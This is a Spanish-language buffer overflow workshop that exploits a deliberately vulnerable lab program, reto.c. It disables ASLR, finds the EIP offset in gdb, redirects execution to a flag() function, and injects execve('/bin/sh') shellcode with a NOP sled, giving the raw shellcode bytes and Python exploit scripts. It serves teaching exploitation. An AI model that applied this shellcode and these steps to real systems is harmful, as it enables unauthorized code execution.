Buffer Overflow Workshop === <i class="fa fa-file-pdf-o" aria-hidden="true"></i> **Buffer Overflow Workshops** <i class="fa fa-user-circle-o" aria-hidden="true"></i> Johnny Pan (codeskill) <i class="fa fa-clock-o" aria-hidden="true"></i> 2023-11-28 [TOC] :::info **Descripción:** En la siguiente taller vamos analizar dos formas de explotar el programa **reto.c**. La primera forma, vamos a tratar que el programa nos imprima la bandera, accediendo a la función **flag()**, alterando el flujo del programa y para la segunda, vamos a obtener una shell local en la propia máquina. ```c= codeskill@linux:~$ cat reto.c #include <stdio.h> #include <string.h> void flag(){ printf("Felicidades, haz obtenido el flag{bof2023}\n"); } int main(int argc, char *argv[]){ char buffer[100]; if (argc != 2){ printf("Uso: %s argumento\n",argv[0]); return -1; } strcpy(buffer,argv[1]); printf ("%s\n",buffer); return 0; } ``` ::: Antes de comenzar debemos revisar si la configuración de **ASLR (Address Space Layout Randomization)** está activada en la máquina virtual de Linux, este mecanismo de seguridad genera direcciones aleatorias en el stack y en el heap para evitar las vulnerabilidades de desbordamiento de buffer. Si se encuentra habilitado será necesario desactivarlo. ```shell codeskill@linux:~$ cat /proc/sys/kernel/randomize_va_space 2 codeskill@linux:~$ ``` Si nos retorna un 2, significa que esta activo, así que procedemos a desactivarlo, con el siguiente comando. ```shell codeskill@linux:~$ echo 0 > /proc/sys/kernel/randomize_va_space codeskill@linux:~$ cat /proc/sys/kernel/randomize_va_space 0 ``` Si no funciona podemos usar alguno de los siguientes comandos, para deshabilitarlo temporalmente ```shell codeskill@linux:~$ sudo sysctl kernel.randomize_va_space=0 codeskill@linux:~$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` Ahora procedemos a compilar el programa **reto.c** agregando ciertos parámetros que debemos indicarle a **gcc**, los cuales explicó a continuación. |Parámetro|Descripción| |-|-| |**-fno-stack-protector**|Poder sobrescribir la pila| |**-z execstack**|Poder ejecutar código en la pila| |**-mpreferred-stack-boundary=2**|Asignar 4 bytes límite a la pila| |**-m32**|Compilar el programa en 32 bits| ```shell codeskill@linux:$ gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 reto.c -o reto codeskill@linux:$ ls reto reto.c ``` Durante el desarrollo de este taller, realiaremos dos pruebas de concepto que nos permitirán resolver los retos solicitados. Inicialmente se analizará el código fuente suministrado **reto.c** y posteriormente se utilizarán varias herramientas en GNU/Linux, así como mi experiencia en diferentes lenguajes de programación para obtener acceso a la función **flag()** y a la shell. Estos métodos no son los únicos que existen y varian dependiendo del entorno en que nos encontramos. Para realizar correctamente las pruebas de concepto, se creará un laboratorio de pruebas mediante una máquina virtual con la distribución **Ubuntu Server 20.04** y nos conectaremos a la VM mediante SSH para poder copiar y pegar los comando directamente en la terminal. ## PoC #1 En la primer prueba de concepto, se realizá una explicación paso a paso para obtener el acceso a la función **flag()**, modificando el flujo del programa mediante un desbordamiento de buffer. ### Requisitos * Terminal * SSH * GCC * GDB * OBJDUMP * GREP * PHP, Perl, Python o Ruby Primero analizaremos el código fuente del programa **reto.c** y comentaremos el código para una mejor comprensión ```c= #include <stdio.h> // Inclusión de la librería STDIO.H #include <string.h> // Inclusión de la librería STRING.H void flag() { // Función que se debe acceder en el PoC #1 printf("Felicidades, haz obtenido el flag{bof2023}\n"); // Imprime el flag } /* * Función principal main(int argc, char *argv[]) * argc toma el valor de los argumentos recibidos a partir del segundo * ya que el primer valor siempre será el nombre del programa * argv toma en cada posición los argumentos de caracteres suministrados */ int main(int argc, char *argv[]) { char buffer[100]; // Variable buffer para almacenar 100 caracteres if (argc != 2) { // Condición para enviar solo un argumento printf("Uso: %sargumento\n",argv[0]); //Se imprime la ayuda return -1; //Finaliza con error el programa } strcpy(buffer,argv[1]); // Copia el argumento a la variable buffer printf ("%s\n",buffer); // Coloca en pantalla el valor del buffer return 0; //Finaliza el programa con éxito. } ``` ```bash codeskill@linux:~$ nano reto.c ``` ![image](https://hackmd.io/_uploads/rk-XsoWHT.png) Salvamos el archivo con **Ctrl+O** y salimos con **Ctrl+X** Probamos el programa que acabamos de compilar, enviandole como argumento una cadena de caracteres para determinar su funcionamiento. ```shell= codeskill@linux:~$ ./reto Uso: ./reto argumento codeskill@linux:~$ ./reto Johnny Johnny codeskill@linux:~$ ./reto 1234567890 1234567890 ``` Luego utilizaremos algún lenguaje de script como PHP, Perl, Python o Ruby para generar una cadena de texto suficientemente grande como para sobrescribir la variable buffer de nuestro programa. Como sabemos que la varible buffer tiene un máximo de almacenamiento de 100 bytes, deberemos introducir más de 99 caracteres, ya que el carácter '\0' de fin de cadena lo añade siempre al final. Usaremos el acento invertido para pasar como argumentos de la función la salida del script. Mostraré la forma de realizarlo en diferentes lenguajes y quedará a gusto de cada quien cual lenguaje utilizar. **PHP** ```shell codeskill@linux:~$ ./reto `php -r 'echo str_repeat("A", 50);'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ``` **Perl** ```shell codeskill@linux:~$ ./reto `perl -e 'print "A"x50'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ``` **Python** ```shell codeskill@linux:~$ ./reto `python -c 'print "A"*50'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ``` **Ruby** ```shell codeskill@linux:~$ ./reto `ruby -e 'print "A"*50'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ``` Vamos a ver que ocurre si probamos pasando cadenas de texto con más caracteres. Esta vez utilizaré el código en Python, iniciando en 100 caracteres e iré aumentando de 5 en 5 hasta obtener el mensaje de **Segmentation fault**. ```shell codeskill@linux:~$ ./reto $(python -c 'print "A"*100') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA codeskill@linux:~$ ./reto $(python -c 'print "A"*105') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA codeskill@linux:~$ ./reto $(python -c 'print "A"*110') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) codeskill@linux:~$ ``` Es aquí como observamos un comportamiento extraño y comenzamos nuestro análisis del desbordamiento del buffer. Vemos que si sobrepasamos los caracteres soportados obtenemos el mensaje de **"Segmentation fault"**. Este mensaje significa que hemos sobrescrito el registro **EIP** y ahora apunta a una dirección no permitida. Para saber exactamente qué hemos sobrescrito en **EIP**, utilizaremos el comando **gdb** que es el depurador que viene por defecto en Linux. Si deseamos generar dumps de core para dar seguimiento a la dirección de memoria, por defecto esta opción está en deshabilitada y se puede comprobar con el comando **`ulimit -a`**, para habilitar la opción deberemos colocar la palabra unlimited o un número grande para que se puedan escribir dumps para realizar el debug, de la siguiente forma. ```bash codeskill@linux:~$ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 7525 max locked memory (kbytes, -l) 65536 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 7525 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited ``` ```bash codeskill@linux:~$ ulimit -c unlimited codeskill@linux:~$ ulimit -a core file size (blocks, -c) unlimited data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 7525 max locked memory (kbytes, -l) 65536 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 7525 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited ``` :::info Los pasos con el archivo **core** son opcionales ::: Podemos generar errores de desbordamiento de buffer agregando cada vez más caracteres al argumento, de esta forma podemos darle seguimiento a las direcciones de memoria con los archivos **core** que se crean. ```bash! codeskill@linux:~$ ./reto $(python -c 'print "A"*120') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) ``` Lo analizamos de la siguiente forma. ```bash codeskill@linux:~$ gdb -c core -q ``` Para esta PoC no voy a utilizar los archivos **core**, sino que realizaré el debug directamente desde **gdb**, de la siguiente manera. ```bash codeskill@linux:~$ gdb -q reto (gdb) run $(python -c 'print "A"*110') ``` Al volver a ejecutar el código anterior obtenemos el valor de **EIP** es **0xf7004141**. Esa dirección es debido al valor de la letra **"A"** en hexadecimal es **0x41**, es decir, hemos sobrescrito parcialmente **EIP** con la letra **"A"**. Usamos el comando `i r` que equivale a **info registers** dentro de **gdb** para observar el valor de los registros. ![image](https://hackmd.io/_uploads/HkGLAsZrT.png) Continuamos probando y aumentamos la cantidad de "A" hasta sobreescribir completamente el registro **EIP**. En esta ocasión aumentaré la cantidad de "A" a 112 y vemos que sobreescribimos completamente el registro **EIP** con el valor **0x41414141**. ![image](https://hackmd.io/_uploads/SJYJy2ZHT.png) Una vez que calculamos el desplazamiento adecuado, verificamos que realmente se esta escribiendo correctamente el registro **EIP** y cambiamos el script anterior agregando la letra **"B"** y restando la cantidad de letras **"A"**. ```bash codeskill@linux:~$ gdb -q reto (gdb) run $(python -c 'print "A"*108+"B"*4') ``` ![image](https://hackmd.io/_uploads/Hy8KlhbHa.png) Vemos que ahora el valor del registro **EIP** es **0x42424242** que equivale a **"BBBB"**. Con estas pruebas ya podemos alterar el flujo del programa para tener acceso a la función **flag()**. Dentro del proceso de Debug con **gdb** desensamblamos la función **flag()** para conocer en que segmento de la memoria se encuentra escribiendo el siguiente comando. ``` (gdb) disassemble flag ``` ![image](https://hackmd.io/_uploads/rkv8Z3bH6.png) Vemos que la función **flag()** está en la dirección **0x56556211** la cual debemos pasar a formato hexadecimal de la siguiente forma **"\x11\x62\x55\x56"**. Entonces modificaremos nuestro script de Python y colocaremos la dirección en el registro **EIP** recordando ponerla en formato Little-endian. ![image](https://hackmd.io/_uploads/Sy9NEuGSa.png) ```bash codeskill@linux:~$ gdb -q reto (gdb) run $(python -c 'print "A"*108+"\x11\x62\x55\x56"') ``` ![image](https://hackmd.io/_uploads/HJ3-9QMrT.png) De esta forma resolvimos el primer reto y según muchas recomendaciones que encontré en Internet, podemos utilizar **NOP** para no generar tantos caracteres en pantalla. Programando de la siguiente forma nuestro script de Buffer Overflow para obtener la función **flag()**. ```python= #!/usr/bin/env python # Script de Buffer Overflow para el flag # Johnny Pan @ 2023 nops = '\x90'*108 # Option 1 flag1 = '\x11\x62\x55\x56' # Option 2 flag2 = '\x56\x55\x62\x11'[::-1] print nops + flag1 ``` Ahora ejecutamos el programa **reto** pasando como argumento la salida del script en **Python** que acabamos de crear. De la siguiente forma. ```bash codeskill@linux:~$ ./reto $(./flag.py) ``` ![image](https://hackmd.io/_uploads/HJsyY7fST.png) Con eso terminamos la PoC #1. ## PoC #2 En la segunda prueba de concepto, se realizá una explicación paso a paso para obtener una shell local en la propia máquina, modificando el flujo del programa mediante un desbordamiento de buffer. ### Requisitos * Terminal * SSH * Kali Linux * GCC * GDB * OBJDUMP * GREP * Python Para realizar este ejercicio utilizamos gran parte del conocimiento adquirido en el PoC #1 y vamos a programar primero la shell en lenguaje C, que posteriormente debemos pasar a código ensamblador para realizar nuestro ataque de buffer overflow. Comenzamos escribiendo la shell **`nano shellcode.c`**. Existen muchos ejemplos en Internet, pero tomaremos el código fuente de la siguiente página http://www.kernel-panic.it/security/shellcode/shellcode5.html ```c= #include <unistd.h> int main() { char *args[2]; args[0] = "/bin/sh"; args[1] = NULL; execve(args[0], args, NULL); } ``` Compilamos el código fuente y lo probamos. ```bash codeskill@linux:~$ nano shellcode.c codeskill@linux:~$ gcc -w shellcode.c -o shellcode codeskill@linux:~$ ./shellcode $ whoami codeskill ``` Luego pasamos el código de C a lenguaje ensamblador. ```asm= jmp short mycall ; Salta a la función mycall shellcode: pop esi ; Almacena dirección de "/bin/sh" en ESI xor eax, eax ; Pone en cero EAX mov byte [esi + 7], al ; Byte nulo al final de la cadena mov dword [esi + 8], esi ; Memoria debajo de la cadena ; "/bin/sh", contendrá el arreglo que ; apunta al segundo argumento de execve ; En [ESI+8] guardamos la dirección ; de la cadena mov dword [esi + 12], eax ; En [ESI+12] el puntero NULL donde ; EAX es 0 mov al, 0xb ; Almacena syscall (11) en EAX lea ebx, [esi] ; Copia la dirección de la cadena en EBX lea ecx, [esi + 8] ; 2 Argumento para execve lea edx, [esi + 12] ; 3 Argumento para execve (Puntero NULL) int 0x80 ; Ejecuta la llamada al sistema mycall: call shellcode ; Pone dirección de "/bin/sh" en la pila db "/bin/sh" ``` Posteriormente ensamblamos el archivo **shellcode.asm** y utilizamos la herramienta **objdump** para desensamblar el programa y así poder utilizarlo como shellcode en nuestro script de ataque. ```bash codeskill@linux:~$ nasm -f elf shellcode.asm codeskill@linux:~$ objdump -d shellcode.o ``` ![image](https://hackmd.io/_uploads/BJcQCJQBT.png) Utilizamos **gdb** y realizamos los cálculos correspondiente para obtener la dirección exacta del registro **ESP (Stack Pointer)** cuando inyectamos el shellcode, de la siguiente manera. En el ejercicio anterior habiamos visto que se realizaba el desborde del buffer con **112 bytes**. Entonces realizamos la operación correspondiente para obtener la cantidad de caracteres que debemos incluir en la prueba. Cantidad de caracteres = 112 - tamaño del shellcode - tamaño de EIP Cantidad de caracteres = 112 - 38 - 4 Cantidad de caracteres = 70 **run $(python -c 'print "SHELLCODE" + "A" * 70 + "BBBB"')** ```bash! codeskill@linux:~$ gdb -q reto (gdb) run $(python -c 'print "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*70+"BBBB"') ``` ![image](https://hackmd.io/_uploads/r1SZ1xXrT.png) Ahora buscamos la dirección donde se ejecuto el shellcode. Dentro de **gdb** ejecutamos el siguiente comando restando los **112+4 bytes** (buffer overflow + tamaño de EIP), de esta forma podemos observar el registro. ```bash (gdb) x/40x $esp-116 ``` ![image](https://hackmd.io/_uploads/S1AjJgmr6.png) Vemos que nuestro shellcode **0x315e18eb** inicia en la dirección **0xffffd4ac:** por lo tanto tomamos la dirección que esta a la izquierda de **0x315e18eb**, que en nuestro caso sería **0xffffd4b0** y la convertimos en formato hexadecimal ordenado de forma invertida. ```bash 0xffffd4b0 = \xb0\xd4\xff\xff ``` Luego sustituimos la cadena **"BBBB"** por **\xb0\xd4\xff\xff** en el script de prueba. ```bash! codeskill@linux:~$ gdb -q reto (gdb) run $(python -c 'print "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*70+"\xb0\xd4\xff\xff"') ``` Y con esto obtenemos el acceso a una shell local mediante una inyección de nuestro shellcode en el registro **EIP** del programa en ejecución. ![image](https://hackmd.io/_uploads/S105bg7BT.png) Ahora generamos un pequeño script en **Python** para pasarlo como argumento al programa. ```shell codeskill@linux:~$ nano shellcode.py ``` ```python= #!/usr/bin/env python # Script de Buffer Overflow para obtener local shell # Johnny Pan @ 2023 shell = '\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' eip = '\xb0\xd4\xff\xff' letras = 'A'*(112-len(shell)-len(eip)) print shell + letras + eip ``` Si queremos ejecutar el programa fuera de **gdb** no obtendremos la shell, debido a que **gdb** añade algunos bytes a la pila (entre 32 y 64) y la dirección a la que saltamos ya no es la de nuestra shell. ```bash codeskill@linux:~$ ./reto $(./shellcode.py) ``` ![image](https://hackmd.io/_uploads/B1mK4g7Bp.png) Para solucionarlo, utilizaremos un **sled de NOPs**, que consistirá en llenar el buffer con la instrucción **NOP** antes de la **shellcode**, así cuando realicemos el salto a una dirección, habrá más posibilidades de que caigamos en una instrucción **NOP** y se deslice el flujo del programa hasta llegar a la **shellcode**. Modificaremos nuestro script de nuevo añadiendo NOPs en vez de letras "A". También cambiaremos el valor de **EIP** por lo que hemos dicho antes de **gdb** y le sumaremos entre 32 y 64 bytes, en este caso 40. Podemos usar Python para saber cuanto tiene que ser el desplazamiento. Ejecutamos el comando **python** y ponemos la dirección anterior de **EIP** y le sumamos los 112 que es el tamaño que habiamos encontraba donde ocurría el desbordamiento + 40 por los ajustes en **gdb**. ```python= python -c 'print (hex((DIRECCION DE EIP)+112+40))' python -c 'print (hex(0xffffd4b0+112+40))' 0xffffd548 ``` ![image](https://hackmd.io/_uploads/r17ujeQBa.png) Modificamos nuestro script. ```shell codeskill@linux:~$ nano shellcode.py ``` ```python= #!/usr/bin/env python # Script de Buffer Overflow para obtener local shell # Johnny Pan @ 2023 shell = '\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' eip = '\x48\xd5\xff\xff' nops = '\x90'*(112-len(shell)-len(eip)) print nops + shell + eip ``` Probamos que el nuevo código funcione correctamente desde la terminal. ```bash codeskill@linux:~$ ./reto $(python shellcode.py) ``` ![image](https://hackmd.io/_uploads/BJlRjlQra.png) Vemos que funciona correctamente y tenemos acceso a una shell local. Con eso damos por finalizado el PoC#2 y resolvimos los dos retos de manera exitosa. # Referencias * Blog C para Operativos. (2015). Aprendiendo Assembler Para Entender C. * https://mgarciaisaia.github.io/tutorial-c/blog/2015/02/19/aprendiendo-assembler-para-entender-c/ * Kernel Panic IT. (2017). Writing shellcode for Linux and *BSD. * http://www.kernel-panic.it/security/shellcode/shellcode5.html * El laberinto de falken. (2013). Explotando vulnerabilidades, buffer overflow y shellcode. * http://www.ellaberintodefalken.com/2013/07/vulnerabilidades-shellcode-buffer-overflow.html * Blog Ricardo. (2009). Obtener información de Binarios y librerías compartidas (nm/objdump). * https://blogricardo.wordpress.com/2009/11/13/obtener-informacion-de-binarios-y-librerias-compartidas-nmobjdump/ * Hatriot Github. (2015). Ntpdc Local Buffer Overflow. * http://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/ * Ciudad Real y Software Libre. (2017). Hacking serio básico: Introducción a los "shellcodes" (I) recipe security. Recuperado de http://crysol.org/es/node/493 * Dhaval Kapil. (2015). Buffer Overflow Exploit. * https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/ * Pentester ES. (2009). Exploiting (I): Buffer Overflow != Stack Overflow. * http://www.pentester.es/2009/11/exploiting-i-buffer-overflow-stack.html * El Blog de Daniel Lerch. (2007). Buffer Overflow. * https://dlerch.blogspot.com/2006/12/buffer-overflow-i.html * Insecure Org. (1995). How to write Buffer Overflows. * http://insecure.org/stf/mudge_buffer_overflow_tutorial.html * ZeroDay - Hacking - Cyber Seguridad - Chile. (2017). Stack Buffer Overflow: Hackeando la memoria en Linux x64. * http://www.zeroday.cl/2017/09/stack-buffer-overflow-hackeando-la.html * Projsolution. (2017). Why is '<<<' filtering null bytes in gdb where '<()' does not?. * http://www.projsolution.com/a108-127804-bash * Samsclass. (2015). Proj 13: 64-Bit Buffer Overflow Exploit (15 pts.). * https://samsclass.info/127/proj/p13-64bo.htm * Mr.Un1k0d3r RingZer0 Team. (2014). 64 Bits Linux Stack Based Buffer Overflow. * https://www.exploit-db.com/docs/english/33698-64-bit-linux-stack-based-buffer-overflow.pdf * Badbytes. (2017). Exploit Dev 0x01 | 64-bit Linux Stack Buffer Overflow. * http://badbytes.io/2017/02/15/exploit-dev-0x01-64-bit-linux-stack-buffer-overflow/ * Techorganic. (2015). 64-bit Linux stack smashing tutorial: Part 1. * https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/ * The Rabb1t Hole. (2017). Linux 64-bit Buffer Overflow Tutorial. * http://www.therabb1thole.co.uk/tutorial/linux-64-bit-buffer-overflow-tutorial/ * Exploit-db. (2007). [Spanish] Introduccion a los overflows en Linux x86_64. * https://www.exploit-db.com/papers/13065/ * Felipe Da silva Prusokowski. (2015). Análise de buffer overflow em sistemas de 32 bits e 64 bits. * https://www.lume.ufrgs.br/bitstream/handle/10183/138246/000988812.pdf?sequence=1 * Foro Hackxcrack. (2012). Introduccion Exploits Shellcoding Y desbordamientos Buffer. * https://hackxcrack.net/foro/hacking/introduccion-exploits-shellcoding-y-desbordamientos-buffer/ **Videos** * Youtube. (2011). Buffer Overflow Tutorial (Paso a Paso). * https://www.youtube.com/watch?v=mxKIAjGMH_I * Youtube. (2016). Linux x86_x64 - Stack based buffer overflow. * https://www.youtube.com/watch?v=qESEfFzcKkk * Youtube. (2016). Smashing Stack + Shellcode for x86/x64 Linux. * https://www.youtube.com/watch?v=9q1VL8UU8h0 * Youtube. (2016). PART 2: Demo of Buffer Overflow and Shell Codes (Spawn Root Shell and System Shutdown). * https://www.youtube.com/watch?v=NazbhvyKpqw